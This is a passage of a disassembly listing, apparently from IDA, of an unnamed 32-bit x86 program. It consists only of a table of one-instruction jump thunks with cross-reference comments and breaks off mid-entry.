; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017DF proc near ; CODE XREF: sub_415520+5Ep
; sub_415F30+32p
jmp sub_415E70
sub_4017DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E4 proc near ; CODE XREF: sub_4034E0+DBp
; sub_403FC0+3Fp ...
jmp sub_40A720
sub_4017E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E9 proc near ; CODE XREF: ___:00421DAAp
jmp sub_422370
sub_4017E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017EE proc near
jmp sub_40B210
sub_4017EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017F3 proc near ; CODE XREF: sub_406890+205p
jmp sub_41B820
sub_4017F3 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017FD proc near ; CODE XREF: ___:00426A13p
jmp sub_426A40
sub_4017FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401802 proc near ; CODE XREF: sub_41E660+FFp
; sub_41E660+179p ...
jmp sub_421A80
sub_401802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401807 proc near ; CODE XREF: sub_40A110+7p
jmp sub_40A130
sub_401807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40180C proc near ; CODE XREF: sub_40B430+76p
jmp sub_40B390
sub_40180C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401811 proc near ; CODE XREF: ___:00423E93p
; DATA XREF: ___:off_44444Co
jmp sub_425020
sub_401811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401816 proc near ; CODE XREF: sub_41E660+18Ep
; ___:0043B183j
jmp sub_4218F0
sub_401816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40181B proc near ; DATA XREF: ___:off_43E10Co
jmp sub_426F20
sub_40181B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401820 proc near ; CODE XREF: ___:00416DDFp
jmp sub_417DF0
sub_401820 endp
; ---------------------------------------------------------------------------
jmp loc_42EC20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182A proc near ; CODE XREF: sub_41E660+3BCp
; sub_4225B0+3p
jmp sub_421C50
sub_40182A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182F proc near ; CODE XREF: sub_4266A0+90p
jmp sub_426960
sub_40182F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401834 proc near ; CODE XREF: ___:0042436Dp
; sub_424840+135p
jmp sub_4243A0
sub_401834 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401839 proc near ; CODE XREF: sub_40BE40+3p
; ___:0040BF0Fp ...
jmp sub_40C080
sub_401839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40183E proc near ; CODE XREF: sub_4070F0+36p
; sub_4070F0+72p ...
jmp sub_407340
sub_40183E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401843 proc near ; CODE XREF: ___:00413181p
jmp sub_415680
sub_401843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401848 proc near ; CODE XREF: ___:0040B9D1p
; ___:0040BA98p ...
jmp sub_412AA0
sub_401848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40184D proc near ; CODE XREF: ___:00431FEFp
; ___:004320FFp ...
jmp sub_431B30
sub_40184D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401852 proc near ; DATA XREF: ___:004322AAo
; ___:00432410o
jmp sub_431BA0
sub_401852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401857 proc near ; CODE XREF: sub_416360+7p
jmp sub_416740
sub_401857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40185C proc near ; CODE XREF: sub_418330+34p
jmp sub_404C20
sub_40185C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap
; sub_4034E0+9Ep ...
jmp sub_409B40
sub_401861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401866 proc near ; CODE XREF: sub_420530+152p
jmp sub_4207A0
sub_401866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40186B proc near ; CODE XREF: ___:0041A228p
; sub_41B010+3p ...
jmp sub_41B040
sub_40186B endp
; ---------------------------------------------------------------------------
jmp loc_429D70
; ---------------------------------------------------------------------------
jmp loc_41C0E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187A proc near ; CODE XREF: ___:00416A4Bp
; ___:00439F6Cj ...
jmp sub_416D10
sub_40187A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187F proc near ; CODE XREF: sub_40FF60+217p
; sub_41FD90+4Cp ...
jmp sub_41FD50
sub_40187F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp
jmp sub_428160
sub_401884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401889 proc near ; CODE XREF: ___:0042C005p
jmp sub_427DC0
sub_401889 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40188E proc near ; DATA XREF: ___:0043E184o
jmp sub_42A150
sub_40188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp
jmp sub_41AD30
sub_401893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401898 proc near
jmp sub_432ED0
sub_401898 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40189D proc near ; CODE XREF: ___:004141C5p
; sub_414D40+1B2p
jmp sub_413DA0
sub_40189D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p
jmp sub_40A110
sub_4018A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp
jmp sub_4203D0
sub_4018A7 endp
; ---------------------------------------------------------------------------
jmp loc_431D10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B1 proc near ; CODE XREF: sub_40A910+14p
jmp sub_40ABC0
sub_4018B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B6 proc near ; CODE XREF: sub_413510+B4p
; ___:00414B90p ...
jmp sub_415620
sub_4018B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp
; sub_41A2B0+1B5p
jmp sub_41AF60
sub_4018BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C0 proc near ; CODE XREF: ___:004310DAp
jmp sub_430A90
sub_4018C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp
jmp sub_419030
sub_4018C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CA proc near ; CODE XREF: ___:00416A9Bp
; ___:00439F26j ...
jmp sub_4178F0
sub_4018CA endp
; ---------------------------------------------------------------------------
jmp loc_419DD0
; ---------------------------------------------------------------------------
jmp sub_41A0E0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018D9 proc near ; CODE XREF: sub_41E660+46p
jmp sub_4218B0
sub_4018D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018DE proc near ; CODE XREF: ___:0042C135p
jmp sub_4299C0
sub_4018DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018E3 proc near ; CODE XREF: sub_422130+7p
jmp sub_422520
sub_4018E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p
; sub_422410+18p
jmp sub_422590
sub_4018E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018ED proc near ; CODE XREF: sub_4221B0+8p
jmp sub_422570
sub_4018ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p
; sub_4147D0+4Fp ...
jmp sub_415730
sub_4018F2 endp
; ---------------------------------------------------------------------------
jmp loc_430A10
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp
jmp sub_421D50
sub_4018FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401901 proc near ; CODE XREF: sub_4218B0+11p
; sub_421D50+1Fp
jmp sub_421E80
sub_401901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401906 proc near ; CODE XREF: sub_40B390+6Dp
jmp sub_40BD90
sub_401906 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40190B proc near ; CODE XREF: sub_409450+13p
jmp sub_409580
sub_40190B endp
; ---------------------------------------------------------------------------
jmp loc_4365C0
; ---------------------------------------------------------------------------
jmp sub_41B010
; ---------------------------------------------------------------------------
loc_40191A: ; DATA XREF: ___:off_43E068o
jmp loc_416CE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40191F proc near ; CODE XREF: ___:00413B31p
jmp sub_4139B0
sub_40191F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401924 proc near ; CODE XREF: ___:00413193p
; sub_413220+32p
jmp sub_4154D0
sub_401924 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401929 proc near ; CODE XREF: ___:00416B4Bp
; ___:00439E8Cj ...
jmp sub_417020
sub_401929 endp
; ---------------------------------------------------------------------------
jmp loc_4310A0
; ---------------------------------------------------------------------------
jmp loc_4334F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401938 proc near ; CODE XREF: sub_41C610+F1p
; sub_41C610+270p ...
jmp sub_420E10
sub_401938 endp
; ---------------------------------------------------------------------------
jmp loc_40A400
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401942 proc near ; CODE XREF: sub_404C70+283p
; sub_40ED70+D2p ...
jmp sub_40EF90
sub_401942 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401947 proc near ; CODE XREF: sub_4218F0+34p
; sub_422240+67p
jmp sub_421ED0
sub_401947 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40194C proc near ; CODE XREF: sub_404C70+BF7p
jmp sub_4066E0
sub_40194C endp
; ---------------------------------------------------------------------------
jmp loc_432360
; ---------------------------------------------------------------------------
loc_401956: ; DATA XREF: sub_41FC00+39o
jmp loc_41FB30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40195B proc near ; CODE XREF: ___:0041A19Ep
; sub_41A2B0+Bp ...
jmp sub_41A290
sub_40195B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401960 proc near ; CODE XREF: ___:0041AB86p
; ___:0041AC66p
jmp sub_41A890
sub_401960 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401965 proc near
jmp sub_419220
sub_401965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196A proc near ; CODE XREF: sub_411910+2Ep
; sub_411B10+3p
jmp sub_411A50
sub_40196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196F proc near ; CODE XREF: sub_41E660+F5p
; sub_41E660+16Fp ...
jmp sub_4219A0
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401974 proc near ; CODE XREF: sub_409450+4p
; sub_409600+1Fp ...
jmp sub_409500
sub_401974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401979 proc near
jmp sub_409A30
sub_401979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40197E proc near ; CODE XREF: sub_41F860+20p
; sub_429AA0+37p
jmp sub_41FE50
sub_40197E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401983 proc near ; CODE XREF: sub_413510+4Ap
; ___:00414B3Fp ...
jmp sub_415420
sub_401983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401988 proc near ; CODE XREF: sub_40A430+A8p
jmp sub_40A850
sub_401988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40198D proc near ; CODE XREF: sub_40CBB0+41p
jmp sub_40CE60
sub_40198D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401992 proc near ; CODE XREF: ___:00433405p
; ___:00433505p
jmp sub_433160
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401997 proc near ; CODE XREF: sub_4218F0+29p
jmp sub_421DF0
sub_401997 endp
; ---------------------------------------------------------------------------
jmp loc_42ECF0
; ---------------------------------------------------------------------------
jmp loc_42ECC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp
; sub_40A9F0+91p
jmp sub_40A910
sub_4019A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019AB proc near ; CODE XREF: sub_422050+23p
; sub_422410+11p
jmp sub_4225B0
sub_4019AB endp
; ---------------------------------------------------------------------------
jmp loc_41AB20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp
; ___:0040403Fp ...
jmp sub_4034E0
sub_4019B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BA proc near ; CODE XREF: sub_422750+6p
jmp sub_4227C0
sub_4019BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BF proc near ; DATA XREF: ___:off_43E050o
jmp sub_416C30
sub_4019BF endp
; ---------------------------------------------------------------------------
jmp sub_40FD70
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019C9 proc near ; CODE XREF: sub_407410+4p
jmp sub_407540
sub_4019C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019CE proc near ; CODE XREF: ___:0040B629p
; ___:0040BA46p ...
jmp sub_40B520
sub_4019CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p
; sub_40FF60+E6Ap
jmp sub_411B10
sub_4019D3 endp
; ---------------------------------------------------------------------------
jmp loc_432940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp
jmp sub_414640
sub_4019DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o
jmp sub_42B880
sub_4019E2 endp
; ---------------------------------------------------------------------------
loc_4019E7: ; DATA XREF: ___:off_43E0D0o
jmp loc_41D730
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019EC proc near ; CODE XREF: sub_421A10+3p
jmp sub_421F30
sub_4019EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp
jmp sub_40B0B0
sub_4019F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019F6 proc near
jmp sub_4132E0
sub_4019F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019FB proc near ; CODE XREF: sub_41E660+477p
jmp sub_4200F0
sub_4019FB endp
; ---------------------------------------------------------------------------
jmp loc_421850
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A05 proc near ; DATA XREF: ___:0043E124o
jmp sub_427650
sub_401A05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A0A proc near
jmp sub_411B40
sub_401A0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0F proc near ; CODE XREF: sub_4331D0+92p
jmp sub_430940
sub_401A0F endp
; ---------------------------------------------------------------------------
jmp loc_427FC0
; ---------------------------------------------------------------------------
jmp loc_426A10
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A1E proc near ; CODE XREF: sub_421DF0+32p
jmp sub_422240
sub_401A1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A23 proc near ; CODE XREF: ___:00416ADBp
; sub_416C30+3p ...
jmp sub_416C00
sub_401A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A28 proc near ; CODE XREF: ___:00423A04p
; ___:004272F8p ...
jmp sub_420D00
sub_401A28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A2D proc near ; CODE XREF: sub_422210+Ap
jmp sub_422620
sub_401A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A32 proc near ; CODE XREF: ___:00412ECFp
; ___:00412F84p ...
jmp sub_404640
sub_401A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A37 proc near ; CODE XREF: sub_409450+1Ap
; sub_409530+4p ...
jmp sub_4094C0
sub_401A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A3C proc near ; DATA XREF: ___:off_43E028o
jmp sub_40FD70
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A41 proc near ; DATA XREF: ___:0043E0E4o
jmp sub_4266A0
sub_401A41 endp
; ---------------------------------------------------------------------------
jmp loc_409D50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep
jmp sub_416550
sub_401A4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A50 proc near ; CODE XREF: ___:0042F2F0p
; sub_430F00+36p ...
jmp sub_430340
sub_401A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep
jmp sub_433900
sub_401A55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5A proc near ; CODE XREF: sub_4149A0+3p
jmp sub_4149D0
sub_401A5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5F proc near ; CODE XREF: ___:004081D0p
; ___:00408661p
jmp sub_409490
sub_401A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A64 proc near ; DATA XREF: ___:0043E0E0o
; ___:0043E0F0o ...
jmp sub_4263D0
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp
jmp sub_42C810
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A6E proc near ; CODE XREF: sub_420530+191p
; sub_4227C0+3p ...
jmp sub_4207C0
sub_401A6E endp
; ---------------------------------------------------------------------------
jmp loc_42EFF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A78 proc near ; CODE XREF: sub_4225E0+5p
jmp sub_422750
sub_401A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A7D proc near ; CODE XREF: ___:00416E4Ap
jmp sub_418100
sub_401A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A82 proc near ; CODE XREF: sub_407220+5p
; sub_407310+6p ...
jmp sub_407460
sub_401A82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A87 proc near ; CODE XREF: sub_4034E0+90p
; sub_404C70+40Fp ...
jmp sub_40A6A0
sub_401A87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp
; sub_41EF30+52Fp
jmp sub_41FD90
sub_401A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A91 proc near ; CODE XREF: ___:00431DCAp
jmp sub_42F840
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A96 proc near ; CODE XREF: sub_415490+1Fp
jmp sub_415DD0
sub_401A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p
; sub_409E70+Fp ...
jmp sub_409DA0
sub_401A9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA0 proc near ; CODE XREF: sub_431560+17p
; sub_431560+33p
jmp sub_433710
sub_401AA0 endp
; ---------------------------------------------------------------------------
jmp loc_433480
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_401AAF: ; DATA XREF: ___:off_43E0FCo
jmp loc_426A10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p
; sub_424E90+120p
jmp sub_424D40
sub_401AB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB9 proc near ; DATA XREF: ___:off_43E034o
jmp sub_411FE0
sub_401AB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ABE proc near ; DATA XREF: ___:0041FB33o
jmp sub_41FA90
sub_401ABE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp
jmp sub_4072D0
sub_401AC3 endp
; ---------------------------------------------------------------------------
jmp loc_432BA0
; ---------------------------------------------------------------------------
loc_401ACD: ; DATA XREF: ___:off_43E020o
jmp loc_40B8D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp
; sub_403EE0+3Bp ...
jmp sub_403D10
sub_401AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD7 proc near ; CODE XREF: sub_413510+66p
; sub_413510+CAp ...
jmp sub_415650
sub_401AD7 endp
; ---------------------------------------------------------------------------
jmp loc_41B780
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AE1 proc near
jmp sub_4227F0
sub_401AE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp
; ___:00439EA8j ...
jmp sub_40B170
sub_401AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AEB proc near ; CODE XREF: ___:00421764p
; ___:0042179Ep
jmp sub_4215D0
sub_401AEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p
jmp sub_4070F0
sub_401AF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo
jmp sub_41A0E0
sub_401AF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AFA proc near ; CODE XREF: ___:00416F0Fp
jmp sub_418900
sub_401AFA endp
; ---------------------------------------------------------------------------
loc_401AFF: ; CODE XREF: ___:00438C76j
jmp loc_40CAF0
; ---------------------------------------------------------------------------
loc_401B04: ; DATA XREF: ___:off_43E16Co
jmp loc_429D70
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B09 proc near ; CODE XREF: sub_416FB0+28p
jmp sub_418890
sub_401B09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B0E proc near ; CODE XREF: ___:004319E7p
jmp sub_431A20
sub_401B0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp
jmp sub_4303D0
sub_401B13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B18 proc near
jmp sub_40AEA0
sub_401B18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B1D proc near ; CODE XREF: ___:00418C7Bp
; sub_418E90+28p ...
jmp sub_418F50
sub_401B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o
jmp sub_42B4F0
sub_401B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B27 proc near ; CODE XREF: ___:00416A7Bp
; ___:00439F42j ...
jmp sub_4179D0
sub_401B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B2C proc near ; CODE XREF: ___:00408706p
; ___:00408727p ...
jmp sub_407660
sub_401B2C endp
; ---------------------------------------------------------------------------
jmp loc_414AF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B36 proc near ; CODE XREF: sub_41C610+83p
; sub_4282C0+3Fp
jmp sub_41D540
sub_401B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B3B proc near ; CODE XREF: sub_41A890+11p
jmp sub_41A8C0
sub_401B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B40 proc near ; CODE XREF: sub_41E660+339p
jmp sub_421C10
sub_401B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B45 proc near ; CODE XREF: sub_414C70+3p
jmp sub_414CA0
sub_401B45 endp
; ---------------------------------------------------------------------------
jmp loc_432CA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p
jmp sub_42F540
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p
; ___:00439158j
jmp sub_412BC0
sub_401B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B59 proc near
jmp sub_40D580
sub_401B59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B5E proc near ; CODE XREF: sub_407660+3Bp
; sub_4076F0+43p
jmp sub_40B430
sub_401B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B63 proc near ; CODE XREF: sub_4072D0+3p
jmp sub_4074A0
sub_401B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B68 proc near ; CODE XREF: sub_424840+9Dp
; sub_424840+FBp ...
jmp sub_4245F0
sub_401B68 endp
; ---------------------------------------------------------------------------
loc_401B6D: ; DATA XREF: ___:off_43E084o
jmp loc_425BD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B72 proc near ; CODE XREF: sub_40FF60+413p
; sub_40FF60+F69p ...
jmp sub_409F60
sub_401B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B77 proc near ; CODE XREF: ___:00425474p
jmp sub_4254E0
sub_401B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B7C proc near ; CODE XREF: sub_422050+32p
jmp sub_422410
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p
jmp sub_41A6D0
sub_401B81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B86 proc near ; CODE XREF: sub_40BF60+23p
; sub_40C120+11p
jmp sub_40C2C0
sub_401B86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B8B proc near ; CODE XREF: ___:0042B833p
jmp sub_42B860
sub_401B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B90 proc near
jmp sub_41E140
sub_401B90 endp
; ---------------------------------------------------------------------------
loc_401B95: ; DATA XREF: sub_42FF50+86o
jmp loc_431650
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9A proc near ; CODE XREF: sub_409530+20p
jmp sub_409600
sub_401B9A endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o
jmp sub_40CBB0
sub_401BA4 endp
; ---------------------------------------------------------------------------
jmp loc_4309D0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp
jmp sub_421FB0
sub_401BAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BB3 proc near ; CODE XREF: sub_427520+39p
jmp sub_4270E0
sub_401BB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; CODE XREF: sub_415730+5p
; sub_415930+6p ...
jmp sub_416380
sub_401BB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp
; sub_431730+3Ep
jmp sub_4304D0
sub_401BBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BC2 proc near ; CODE XREF: ___:00432129p
; ___:0043214Ap ...
jmp sub_430C00
sub_401BC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BC7 proc near ; CODE XREF: ___:00425DA2p
jmp sub_4269A0
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BCC proc near ; CODE XREF: sub_41B3D0+3p
jmp sub_41B400
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD1 proc near ; CODE XREF: sub_428220+3p
